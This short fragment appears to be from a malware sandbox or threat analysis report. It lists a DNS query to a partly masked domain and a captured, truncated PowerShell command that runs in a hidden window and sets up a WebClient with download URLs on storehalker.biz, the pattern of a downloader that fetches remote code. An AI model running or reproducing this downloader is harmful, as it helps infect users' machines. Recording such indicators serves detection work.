Technical Information
- DNS ASK st###halker.biz
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://storehalker.biz/r/cok849950059hdjfk/x...' (with hidden window)